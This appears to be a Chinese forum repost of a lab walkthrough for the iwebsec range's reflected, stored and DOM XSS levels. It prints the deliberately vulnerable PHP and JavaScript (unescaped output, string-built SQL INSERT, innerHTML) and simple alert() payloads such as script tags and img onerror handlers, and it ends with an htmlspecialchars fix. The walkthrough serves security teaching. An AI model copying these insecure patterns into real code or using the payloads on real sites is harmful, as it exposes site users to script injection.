qidao123.com技术社区-IT企服评测·应用市场

标题: iwebsec靶场 XSS漏洞通关条记 [打印本页]

作者: 水军大提督    时间: 2025-2-23 16:39
标题: iwebsec靶场 XSS漏洞通关条记
目录
前言
1.反射性XSS
2.存储型XSS
3.DOM型XSS
第01关 反射型XSS漏洞
1.打开靶场
2.源码分析
3.排泄
第02关 存储型XSS漏洞
1.打开靶场
2.源码分析
4.排泄
方法1:
方法2
方法3
第03关 DOM XSS漏洞
1.打开靶场
2.源码分析
3.排泄分析
3.排泄过程
(1)排泄方法1
(2)排泄方法2
(3)排泄方法3
第04关 XSS修复示例
1.打开靶场
2.源码分析
3.排泄实战

前言

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一样平常XSS可以分为如下几种常见类型:
1.反射性XSS

反射型XXS是一种非恒久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入此中Web内里的html代码会被执行,从而达到恶意攻击用户的目的。
2.存储型XSS

存储型XSS又名恒久型XSS,攻击的恶意代码会被存储在数据库、文件系统等存储介质,因为是永久存储以是功效恒久。通常来讲攻击者可以把payload放在网站留言板、批评等位置,等用户访问网站并有匹配payload的举动时,即可触发攻击。
3.DOM型XSS

DOM XSS的XSS代码并不需要服务器解析相应的直接到场,触发XSS靠的就是浏览器端的DOM解析,可以认为完满是客户端的事变,无法通过WAF防护。
第01关 反射型XSS漏洞

1.打开靶场


2.源码分析

如下所示,未对传入参数name进行任何过滤,存在xss漏洞
  1. <?php require_once '../header.php'; ?>
  2. <html>
  3.         <head>
  4.                 <title>反射型XSS漏洞</title>
  5.         </head>
  6.         <h2>反射型XSS漏洞</h2>
  7.                 <div class="alert alert-success">
  8.                         <p>/01.php?name=iwebsec </p>
  9.                 </div>
  10.         <body>
  11. <table class='table table-striped'>
  12. <?php
  13.         if(isset($_GET['name'])){
  14.                 $name=$_GET['name'];
  15.                 echo "<h2>"."Hello ".$name."<h2>";
  16.         }else{
  17.                
  18.                 exit();
  19.         }
  20. ?>
  21. </table>
复制代码
很显着,这是一个反射型的XSS漏洞
3.排泄

传入参数
iwebsec 靶场漏洞库iwebsec[这里是图片002]http://iwebsec.com:81/xss/01.php?name=排泄乐成,效果如下所示

第02关 存储型XSS漏洞

1.打开靶场

iwebsec 靶场漏洞库iwebsec[这里是图片004]http://iwebsec.com:81/xss/02.php如下所示,这是一个留言板相干内容的网页

2.源码分析

如下所示对传入的参数name并未做任何过滤,具备XSS漏洞。
  1. <?php
  2.   require_once('../header.php');
  3.   require_once('../sqli/db.php');
  4.   ?>
  5. <html>
  6.         <head>
  7.                 <title>存储型XSS漏洞</title>
  8.         </head>
  9.         <h2>存储型XSS漏洞</h2>
  10.                 <div class="alert alert-success">
  11.                         <p>请输入你的留言信息</p>
  12.                 </div>
  13.                 <form  method="get">
  14.                 <input type="text" name="name">
  15. <input type="submit" value="submit">
  16. </form>
  17.         <body>
  18.   <?php
  19.   if(isset($_GET['name'])){
  20.         $name=$_GET['name'];
  21.         $sql="INSERT INTO xss set name='$name'";
  22.         $result=mysql_query($sql);
  23.        
  24.         $sql="SELECT * FROM xss";
  25.         $result=mysql_query($sql);
  26.         }
  27.         else{
  28.                 exit();
  29.         }
  30.         if ($result) {
  31.                 ?>
  32.                 <table class='table table-striped'>
  33.       <tr><th>id</th><th>name</th></tr>
  34.                 <?php
  35.                 while ($row = mysql_fetch_assoc($result)) {
  36.                         echo "<tr>";
  37.                             echo "<td>".$row['id']."</td>";
  38.                             echo "<td>".$row['name']."</td>";
  39.                    
  40.                         echo "</tr>";
  41.                 }       
  42.                 echo "</table>";
  43.         }
  44.         else
  45.         {
  46.         print_r(mysql_error());
  47.         }
  48.   
  49. ?>
复制代码
同时对参数name使用SQL语句进行insert存储,关键源码如下
  1.     $sql="INSERT INTO xss set name='$name'";
  2.         $result=mysql_query($sql);
复制代码
接下来再使用select查询语句将其展示出来,关键源码如下
  1.         $sql="SELECT * FROM xss";
  2.         $result=mysql_query($sql);
复制代码
很显着这是具有存储型XSS漏洞,注入的XSS命令会永久存储到服务器,从而触发XSS漏洞。
4.排泄

方法1:

这里要注意的是,因为涉及到SQL语句,第一个SQL插入源码如下所示,闭合方式为单引号。
  1.    $sql="INSERT INTO xss set name='$name'";
复制代码
故而name的赋值不可以有单引号,故而假如想输出ljn,那么参数不能是这是因为包含了单引号
  1. <script>alert(/xss/)</script>
复制代码
如下所示

排泄效果如下所示

方法2

因为使用SQL语句单引号闭合,故而可以选择使用双引号来进行排泄
  1. <script>alert("hello ljn")</script>
复制代码
在留言处输入参数后如下所示

如下所示,排泄乐成

方法3

  1. <script>alert(20221128)</script>
复制代码
如下所示排泄乐成

第03关 DOM XSS漏洞

1.打开靶场

iwebsec 靶场漏洞库iwebsec[这里是图片011]http://iwebsec.com:81/xss/03.php

2.源码分析

如下代码中存在domxss函数,可能存在dom型xss漏洞
  1. <?php require_once '../header.php'; ?>
  2. <html>
  3.         <head>
  4.                 <title>DOM XSS漏洞</title>
  5.         </head>
  6.         <h2>DOM XSS漏洞</h2>
  7.                 <div class="alert alert-success">
  8.                         <p>请输入内容 </p>
  9.                 </div>
  10.         <body>
  11. <table class='table table-striped'>
  12. <script>
  13. function domxss()
  14. {
  15.         var str = document.getElementById("input").value;
  16.         document.getElementById("output").innerHTML = str;
  17. }
  18. </script>
  19. <h2 id = "output"></h2>
  20. <input type="text" id="input" value="" />
  21. <input type="button" value="submit" onclick="domxss()" />
  22. </table>
复制代码
3.排泄分析

输入参数,判断是否有过滤信息
  1. '"<>?%66666ljn
复制代码
在当前页面元素,搜索框中输入关键字搜索ljn,寻找刚刚输入的内容,很显着全部字符都还在,并不存在过滤单引号和双引号等特殊字符, 并将输入内容显示到页面中。

接下来分析一下闭合关系,查看器中的内容如下,于是可以输入完整的xss语句,通过将内容输出到页面,再出发显示到页面的内容执行xss脚本。
  1. <h2 id="output">'"&lt;&gt;?%66666ljn</h2>
复制代码
3.排泄过程

(1)排泄方法1

基于此可以构造闭合,参数输入xss恶意脚本(点击ljn后输出你好)
  1. <li/onclick=alert('你好')>ljn</li>
复制代码
输入后提交如下所示

在页面的ljn处点击鼠标,则弹出你好,排泄乐成

(2)排泄方法2

参数为xss恶意脚本(因图标执行错误而出发弹框输出ljn)
  1. <img src=1 onerror=alert('ljn')>
复制代码
如下所示,排泄乐成

(3)排泄方法3

参数为xss恶意脚本(鼠标移动到图标后输出ljn)
  1. <img src="#" onmouseover="alert('ljn')">
复制代码
提交后如下图所示

当鼠标移动到图标处时,弹出弹框,排泄乐成

第04关 XSS修复示例

1.打开靶场

iwebsec 靶场漏洞库iwebsec[这里是图片019]http://iwebsec.com:81/xss/04.php

2.源码分析

如下所示对参数使用了htmlspecialchars函数过滤,这样就可以防范恶意的xss攻击
  1. <?php require_once '../header.php'; ?>
  2. <html>
  3.         <head>
  4.                 <title>XSS修复示例</title>
  5.         </head>
  6.         <h2>XSS修复示例</h2>
  7.                 <div class="alert alert-success">
  8.                         <p>/04.php?name=iwebsec </p>
  9.                 </div>
  10.         <body>
  11. <table class='table table-striped'>
  12. <?php
  13.         if(isset($_GET['name'])){
  14.                 $name=$_GET['name'];
  15.                 echo "<h2>"."Hello ".htmlspecialchars($name)."<h2>";
  16.         }else{
  17.                
  18.                 exit();
  19.         }
  20. ?>
  21. </table>
复制代码
3.排泄实战

再次尝试第01关排泄乐成的内容
  1. <script>alert('ljn')</script>
复制代码
如下所示,排泄失败,说明xss漏洞修复乐成


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 qidao123.com技术社区-IT企服评测·应用市场 (https://dis.qidao123.com/) Powered by Discuz! X3.4